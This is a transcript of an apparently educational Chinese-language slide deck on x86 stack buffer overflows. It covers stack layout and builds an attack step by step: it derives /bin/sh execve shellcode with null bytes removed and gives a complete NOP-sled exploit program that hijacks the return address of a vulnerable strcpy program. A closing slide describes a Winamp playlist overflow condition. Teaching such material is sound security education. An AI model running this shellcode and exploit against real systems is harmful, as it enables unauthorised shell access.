Buffer overflow instruction
This presentation is the property of its rightful owner.
Sponsored Links
1 / 33

Buffer Overflow Instruction PowerPoint PPT Presentation


  • 163 Views
  • Uploaded on
  • Presentation posted in: General

Buffer Overflow Instruction. Enijmax 2003/06. Buffer Overflow 簡介. 什麼是 buffer overflow? 通常是程式設計師在程式中沒有檢查 buffer 的邊界而造成程式在執行時可以寫超過 buffer 的大小,進而造成系統安全上的問題。 Ex: 以下程式是最典型具有 buffer overflow 漏洞的程式: void main() { char buf[1024]; gets(buf); }. Buffer Overflow 造成的影響.

Download Presentation

Buffer Overflow Instruction

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript


Buffer overflow instruction

Buffer Overflow Instruction

Enijmax

2003/06


Buffer overflow

Buffer Overflow簡介

  • 什麼是buffer overflow?

    • 通常是程式設計師在程式中沒有檢查buffer的邊界而造成程式在執行時可以寫超過buffer的大小,進而造成系統安全上的問題。

    • Ex:以下程式是最典型具有buffer overflow漏洞的程式:

      void main()

      {

      char buf[1024];

      gets(buf);

      }


Buffer overflow1

Buffer Overflow造成的影響

  • 若有一個buffer位址的後面,有一個變數是管理權限的,就可以利用該buffer來覆蓋到其後的變數,進而造成安全上的問題。

  • 要避免這種問題:程式設計者要小心檢查buffer的邊界,或是使用較安全的系統函式(ex:strncpy)來取代原本不安全的函式,甚至不要使用c或c++這種沒有檢查buffer邊界的語言,而改用java等更高階的語言,或是使用靜態的工具來掃描程式是否有buffer overflow的漏洞(splint,mpr,its4…),或是使用動態保護(efence ,smashStade)或是IDS。


Buffer overflow instruction

程式記憶體位址的配置

  • Heap:程式中動態配置記憶體所用的記憶體空間。

  • Stack:用來存放function return address和function的local variables(包括參數)及保存暫存器值的記憶體空間。

  • BSS(block storage segment):用來存放程式中未初始化的全域變數的空間。

  • Data Segment:用來存放已初始化的全域變數

  • Text Segment:用來存放程式碼(固定不變的部分)。

  • 最後兩塊記憶體大小在程式執行前就固定了。


Buffer overflow instruction

記憶體位址圖解

  • 最上層的是kernel memory,一般的user prog看不到

  • 第二層是user stack,是自動配置給function的,用來存放參數、區域變數和return address

  • 第三層用來存放share library以及memory mapped file

  • 第四層存放動態配置記憶體

  • 第五、第六層是存放全域變數和程式碼。


Buffer overflow2

Buffer Overflow的種類

  • Stack Overflow:

    • 經由設定過長的資料來造成stack中buffer的overflow,主要造成的問題是return addr若被更改,對方就可以把return addr指向他人植入的程式碼,當目前的函式執行完畢時,就會跳去執行植入的程式碼。

  • Heap Overflow:

    • 通常要和stack overflow來配合,入侵者會把程式碼放在heap中,再利用stack overflow來改寫return addr,把它指向heap。

  • 除了return address外,可供利用的overflow對象還包括function pointer(c++中的virtual function table)以及setjmp,longjmp的buffer


Stack x86

Stack的特性(x86平台)

  • 會隨著程式而增減,並且是由高位址長向低位址。

  • 依照下列順序來存放各個資料

    High address

    Parameter to the function(存放函式參數)

    The return address(存放回傳位址)

    The old base pointer(存放其呼叫函式的stack frame 位址)

    local variables(先宣告的變數放在較高位址)

    Low address

  • Intel CPU based的機器其資料儲存的方式為little endian,例:12(0x00000c)會存放成以下狀況

    0xbffffa94: 0xc(12)0xbffffa95: 0x00xbffffa96: 0x00xbffffa97: 0x0

High

依序往高位址放

固定長度為4bytes

固定長度為4bytes

依序往低位址放

Low


Heap x86

Heap的特性(x86平台)

  • 會隨著程式而增減,但是是由低位址長向高位址。

  • 範例:

    • void main() {

    • char *str = (char *)malloc(sizeof(char)*4);

    • char *super_user =(char *)malloc(sizeof(char)*4);

    • printf(“addr of str:%p\n”,str);

    • printf(“addr of super_user:%p\n”,super_user);

    • }

      執行結果:

      addr of str: 0x80496c0

      addr of super_user: 0x80496d0


Buffer overflow instruction

程式範例

  • 範例程式碼:

    • int main(int argc,char **argv);

    • void concat_arguments(int argc, char **argv) {

    • char buf[20];

    • char *p = buf;

    • int i;

    • }

    • int main(int argc, char **argv) {

    • concat_arguments(argc, argv);

    • }

  • Assembly code

    concat_arguments:

    pushl%ebp

    movl%esp, %ebp

    subl$56, %esp

    leal-40(%ebp), %eax

    movl%eax, -44(%ebp)

    leave

    ret

High

argument

Return

address

%ebp

ebp,esp

?

40

buf

56

P

i

esp

Low


Stack cpu

和stack相關的CPU暫存器

  • Segment Registers

    • Stack Segment:指向整個stack的頂端。

  • Index Registers

    • Base pointer:指向stack中正在執行的function stack 的 base location(存放在old base pointer的地方),在呼叫函式時會改變。

    • Stack Pointer:記錄現在要讀取的var的offset,必須要和ss一起用才能正確指到資料的位址。

high

ss

Stack

esp

Func stack

ebp

low


Buffer overflow instruction

呼叫函式時的動作

  • Caller將callee的參數push到stack中(此時sp會隨之改變)

  • Caller執行call指令,call指令做兩件事:

    • 把return address push 到 stack中

    • 把program counter指向function code address

  • 在callee中,會把base pointer push到stack中,並且copy sp的內容到bp中(ex:movl %esp %ebp)。

  • 保留原始的register到stack中。

  • 保留足夠的空間給local variables。

  • function執行過程。

  • 當函式要return回caller去執行時:

    • callee把sp指向return address(call指令幫我們push進來的)。

    • Callee執行ret指令,將執行權丟回caller(把program counter指向return address)。

  • Caller調整sp到old bp存放的位址。

  • Caller會把base pointer由stack中pop出來,回復到之前的狀況。


Buffer overflow exploit

製作buffer overflow exploit的步驟

  • 先找出目標程式中可以overflow的buffer。

  • 確定buffer被蓋掉之後到return之前不會再被更改。

  • 先分析buffer的位址(stack的位址)。

  • 撰寫攻擊程式

    • Overflow buffer 導致程式入無窮迴圈。

    • 植入attackCode到buffer中。


Overflow

一個overflow的實例

  • 目的:

    • 讓目標程式可以執行本身函式無限次!

  • 目標程式:

  • //progWithBO.c

  • void concat_arguments(int argc, char **argv)

  • {

  • char buf[20];

  • char *p=buf;

  • int i;

  • char *tmp;

  • for (i = 1; i < argc; i++) {

  • strcpy(p, argv[i]);

  • p += strlen(argv[i]);

  • if (i + 1 != argc) {

  • *p++ = ' ';

  • }

  • }

  • }

  • int main(int argc, char **argv)

  • {

  • concat_arguments(argc, argv);

  • return (0);

  • }


Overflow1

一個overflow的實例

  • 拿到上面的目標程式後,要先做以下兩件事:

    • 分析function address

      為了讓程式不斷地跳入concat_arguments函式中,必需得到該函式的記憶體位址。在目標程式中加入一行:printf(“concat_argument:%p\n”,concat_arguments);重新compile並執行目標程式即可得到函式位址了。要注意的是,我們增加程式碼並不會影響到function address,且每次執行的時候function address都一樣。

      註:也可以使用gdb來得到function address

    • 分析stack記憶體空間

      攻擊者必須還要找出buffer距return address的距離,如此才能正

      地將function address覆蓋到return address的空間中。

      該程式中會在最後加上一個0x32(空白字元),若我們不想讓它去改到

      argc的值,就要


Overflow2

一個overflow的實例

  • 程式碼:

  • //attackProg.c

  • #include <stdio.h>

  • int main() {

  • char *buf = (char *)malloc(sizeof(char)*1024);

  • char **arr = (char **)malloc(sizeof(char *)*3);

  • int i;

  • for (i=0;i<44;i++) //將buffer用‘x’去填滿它,順便蓋過中間一些無用的資料

  • buf[i]='x';

  • buf[44] = 0xc8; //寫入return address

  • buf[45] = 0x83; //寫入return address

  • buf[46] = 0x4; //寫入return address

  • buf[47] = 0x8; //寫入return address

  • buf[48] = 0x2; //寫入參數(否則的話會被放入空白)

  • buf[49] = 0x0; //寫入參數

  • arr[0] = “./Q1”; //要執行的程式

  • arr[1] = buf; //參數一

  • arr[2] = 0x00; //null

  • execv("./Q1s",arr);

  • }


Overflow3

一個overflow的實例

  • 問題:將上兩個程式碼分別編譯過,執行AttackProg.c來攻擊progwithBO.c程式,理論上目標程式應該會進入無窮迴圈,但是事實上並沒有,反而在進入函式兩次後出現Segmentation fault。

  • 原因:因為第二次進入函式時,我們並沒有執行caller應該做的事情,其中最重要的就是沒有做return address到stack上的這一個步驟,以致於接下來的pushl %ebp會將old bp寫在原來return address的地方,新的bp也會比上一次呼叫來得高了4個bytes,在strcpy後,覆蓋在return address的資料會變成“xxxx”,以致於再次return時會產生segmentation fault。


Overflow4

一個overflow的實例

  • 解決方法:

    • 把return address用call function的address來填充。

  • 取得call function address

    • 在progwithBO.c code中加入printf(“%p”,concat_arguments);

    • 先編譯取得assembly code(gcc –c –S –masm=intel Q1.c),產生出.s

    • 將Q1.s中的code做以下修改:

1. Call concat_arguments -> .JMP_ADDR: call concat_arguments

2. pushl $concat_arguments -> pushl $.JMP_ADDR

1.是新增一個標籤,其指向call concat_arguments的位址。

2.將原本印出concat_arguments的位址的printf改成印出call 的位址。

  • 編譯Q1.s(gcc Q1.s –o Q1)

  • 執行Q1,就可以看到程式印出call concat_arguments的位址。

  • Note:也可以用gdb直接取得該位址。


  • Overflow5

    一個overflow的實例

    • 得到call concat_arguments的位址後,改寫攻擊程式,把return address改成call concat_arguments的位址。

    • 重新執行攻擊程式,就會看到函式呼叫一直loop執行了。

    • 現在已經可以把程式跳向任何你想要的位址。


    Buffer overflow instruction

    製作一個攻擊程式

    • 入侵者將攻擊程式放入記憶體中,並且設計讓被攻擊的程式時,不知不覺地執行到該攻擊程式。

    • 通常攻擊程式是一個會取得shell控制權的程式,它的樣子如下:

      //exploit.c

      void main()

      {

      char *s[2];

      s[0] = “/bin/sh”;

      s[1] = 0x00;

      execve(s[0],s,NULL);

      }

    • 該程式執行完畢後,會得到該系統的shell,此時入侵者就可以執行任意想要執行的指令了。


    Binary code

    攻擊程式的binary code

    • 由於攻擊程式必須藉由overflow buffer來植入,因此需要binary code

    • gcc –static exploit.c –o exploit

    • (gdb)gdb exploit

    • (gdb)disas execve

    • gdb will show the assembly code, and we have to remove or add some code to satisfy our goal.

    • execve system call needs four arguments:

      • eax:System call ID 0xb

      • ebx:Prog’s path and filename(null terminated)

      • ecx:address of array arguments(zero terminated)

      • edx:address of environment string


    Binary code cont

    攻擊程式的binary code(cont.)

    • 因此我們需要特別將資料的存放重新設計在攻擊程式碼中。

      • 在記憶體中必需有執行程式字串“/bin/sh”,且字串以null 結束。

      • 必需有一個陣列儲存程式字串和參數,並且以0x0結尾,而我們必需知道其位址並copy到ecx中。

      • Copy 0xb 到 eax 中。

      • Copy “/bin/sh”字串的位址放到ebx

      • Copy NULL(0x0)放到edx 中。

      • 執行int 0x80

      • 若execve執行失敗,則跳出程式(exit),避免產生core dump。


    Binary code cont1

    攻擊程式的binary code(cont.)

    • execve assembly code

      0x0804da00 <execve+0>: push %ebp->備分base pointer

      0x0804da01 <execve+1>: mov $0x0,%eax->初始化eax

      0x0804da06 <execve+6>: mov %esp,%ebp->更新base pointer為stack pointer的內容

      0x0804da08 <execve+8>: test %eax,%eax->就是xorl %eax,%eax

      0x0804da0a <execve+10>: push %edi->備分edi

      0x0804da0b <execve+11>: push %ebx->備分ebx

      0x0804da0c <execve+12>: mov 0x8(%ebp),%edi->放入“/bin/sh”的address到di register中

      0x0804da0f <execve+15>: je 0x804da16 <execve+22>->未知

      0x0804da11 <execve+17>: call 0x0->未知

      0x0804da16 <execve+22>: mov 0xc(%ebp),%ecx->放入address of arg array到ecx

      0x0804da19 <execve+25>: mov 0x10(%ebp),%edx->放入null的address

      0x0804da1c <execve+28>: push %ebx->備分ebx

      0x0804da1d <execve+29>: mov %edi,%ebx->把di存的放到bx中

      0x0804da1f <execve+31>: mov $0xb,%eax->放入system call id到ax中

      0x0804da24 <execve+36>: int $0x80->執行system call


    Binary code cont2

    攻擊程式的binary code(cont.)

    • 上述程式改成如下的組語程式:

      00jmp 0x26->執行26 bytes後的call敘述

      02pop %esi->把string address pop出來

      03mov %esi,0x8(%esi)->s[0],代表字串

      06mov 0x0, 0x7(%esi)->s[1],代表null

      0amov 0x0,0xc(%esi)->s[2],以0做array的結尾

      11mov 0xb,%eax->放入system call ID 0xb到eax中

      16mov %esi,$ebx->放入字串的address到ebx中

      18leal 0x8(%esi),%ecx->放入參數array的address

      1bleal 0xc(%esi),%edx->放入null值的address

      1eInt 0x80->執行execve

      20mov 0x1,%eax->eax放入0x1(exit的system call id)

      25mov 0x0,%ebx->ebx放入0x0

      2aint 0x80->執行exit

      2ccall –0x2b->把string address push到stack中並到第2行執行

      31.string \”/bin/sh\”->必需字串

    /bin/sh\0

    address

    \0


    Binary code cont3

    攻擊程式的binary code(cont.)

    • 編譯該組語語法程式,並使用gdb取得hex code如下:

      “\xeb\e2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”

      “\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”

      “\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff”

      “\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”

    • 以上程式碼並沒有錯誤,但是其中有許多null bytes,許多處理字串的函式都會把null bytes當做字串的結束符號,故我們需要移除null bytes,以其他的指令取代會產生null的指令。

      movb 0x0, 0x7(%esi)->xorl %eax,%eax

      movl 0x0,0xc(%esi)->movl %eax,0x7(%esi)

      ->movl %eax,0xc(%esi)

      movl 0xb,%eax->movb 0xb,%al

      movl 0x1,%eax->xorl %ebx,%ebx

      movl 0x0,%ebx->movl %ebx,%eax

      ->inc %eax


    Binary code cont4

    攻擊程式的binary code(cont.)

    • 修改後的程式碼(共46bytes):

      00jmp 0x1f->\xeb\x1f

      02popl %esi->\x5e

      03movl %esi,0x8(%esi)->\x89\x76\x08

      06xorl %eax,%eax->\x31\xc0

      08movb %eax,0x7(%esi)->\x88\x46\x07

      0bmovl %eax,0xc(%esi)->\x89\x46\x0c

      0emovb $0xb,%al->\xb0\x0b

      10movl %esi,%ebx->\x89\xf3

      12leal 0x8(%esi),%ecx->\x8d\x4e\x08

      15leal 0xc(%esi),%edx->\x8d\x56\x0c

      18int $0x80->\xcd\x80

      1axorl %ebx,%ebx->\x31\xdb

      1cmovl %ebx,%eax->\x89\xd8

      1einc %eax->\x40

      1fint $0x80->\xcd\x80

      21call -0x24->\xe8\xdc\xff\xff\xff

      26.string \"/bin/sh\“->/bin/sh


    Stack

    取得stack位址

    ret

    bsize

    Buffer

    • 放攻擊程式要注意的事項:

      • 攻擊程式必須是buffer中的一部分,以便計算buffer的起始位址,但不可以蓋掉return address。

      • 必須要把return address就是buffer的起始位址。

    • 要將return address指向buffer的開端,必須要先找出一個reference的位址,而stack pointer所指向的位址對於每個程式來說想差有限,最適合來做參考位址,以下函式可以用來取得esp的值。

      unsigned long get_sp(void) {

      __asm__(“movl %esp,%eax”);

      }

    • 由於每次執行stack pointer都不一樣,也沒有辦法拿到目標程式執行中的stack pointer,所以只能用隨機的offset值和reference的位址來猜測buffer的起點。


    Buffer overflow instruction

    加入NOP指令

    • NOP是什麼?

      • NOP是一個processor的指令,是代表所謂的空指令,也就是說processor看到它就什麼都不做,直接執行下一行。

    • 為何要在buffer之前加入數個NOP指令?

      • 若沒有NOP,指令,return address必須精準地指到buffer的開端。為了方便起見,我們加入數個NOP指令在真正的程式之前,return address只要指向其中一個NOP指令即可,它都會執行到後面真正的code。

    NOP

    exploit code

    ret


    Sample

    Sample

    • 這是目標(被攻擊)程式(vulnerable.c):

    • #include<string.h>

    • int main(int argc,int **argv)

    • {

    • char buffer[512];

    • if(argc>1)

    • {

    • strcpy(buffer,argv[1]);

    • }

    • }


    Sample cont

    Sample (Cont.)

    • 這是我們撰寫的攻擊程式(exploit.c):

    • #include <stdlib.h>

    • #include <unistd.h>

    • #define DEFAULT_OFFSET0/*offset from stack pointer*/

    • #define DEFAULT_BUFFER_SIZE512/*buffer size*/

    • #define NOP0x90/*NOP instruction*/

    • char shellcode[]=

    • "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3“

    • "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff“

    • " \xff\xff/bin/sh";

    • unsigned long get_sp(void) {/*function to get esp values*/

    • __asm__("movl%esp,%eax");

    • }


    Sample cont1

    Sample (Cont.)

    • int main(int argc,char **argv)

    • {

    • char *buff , *ptr;

    • long *addr_ptr, addr;

    • int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

    • int i;

    • if (argc > 1)

    • bsize = atoi(argv[1]);

    • if (argc > 2)

    • offset = atoi(argv[2]);

    • if (!(buff = (char *)malloc(bsize))) {

    • printf("can't allocate memory\n");

    • exit(0);

    • }

    • addr = get_sp() - offset;/*set buffer start address*/

    • printf("Using address:0x%x\n",addr);

    • ptr = buff;

    • addr_ptr = (long *)ptr;

    ret

    ret

    ret

    ret

    ret

    Shell

    Code

    46 bytes

    bsize

    NOP

    NOP

    NOP

    NOP

    NOP


    Sample cont2

    Sample (Cont.)

    • for (i=0;i<bsize;i+=4) //fill the buffer with buff address

    • *(addr_ptr++) = addr;

    • for (i=0;i<bsize/2;i++) //fill NOP instruction in the half front of the buffer

    • buff[i] = NOP;

    • ptr = buff + (bsize/2) - (strlen(shellcode)/2);

    • for (i=0;i<strlen(shellcode);i++)

    • *(ptr++) = shellcode[i];/*copy shell code into buffer*/

    • buff[bsize-1] = '\0'; /*add null terminated symbol*/

    • s[0]="./vulnerable1";

    • s[1]=buff;

    • s[2]=0x00;

    • printf("call vulerable1 program:\n");

    • execve(s[0],s,NULL);/*execute target program with designed buffer*/

    • }


    Sample cont3

    Sample (Cont.)

    • 執行./exploit <bufferSize> <offset>後,它會先設定好buffer,再呼叫execve去執行vulnerable,並餵給設定完成的buffer。

      • bufferSize : 通常設定比目標程式中的buffer大100bytes,以確保可以蓋到return address。

      • offset : 是一個隨機猜測buffer位址的參數,一般大約在+-1000之間。

    • 若可以順利取得shell的話,表示攻擊程式達到我們的要求了;若否,表示我們製做的buffer太長或是太短了,太長的buffer會去蓋到別人的stack,作業系統會產生segment fault,太短會沒有蓋到return address,目標程式就會正常結束。


    Winamp windows xp buffer overflow

    Winamp在windows XP上的buffer overflow

    • 在winamp 3.0 final和winamp 2.81中,可以使用.b4s來製造buffer overflow。

    • 以下是b4s檔案的樣子:

      <?xml version="1.0" encoding='UTF-8' standalone="yes"?>

      <WinampXML>

      <!-- Generated by: Nullsoft Winamp3 version 3.0 -->

      <playlist num_entries="[number_of_entries]" label="[playlist_name]"> #(1)

      #first entry

      <entry Playstring="file:[patch_to_file]">

      <Name>[name_of_the_song]</Name>

      <Length>[file_size_in_byts]</Lengt>

      </entry>

      #end of first entry

      </playlist>

      </WinampXML>

    • 若[playlist_name]大於16580b,則ecx,esi和return address都會被overwrite。


  • Login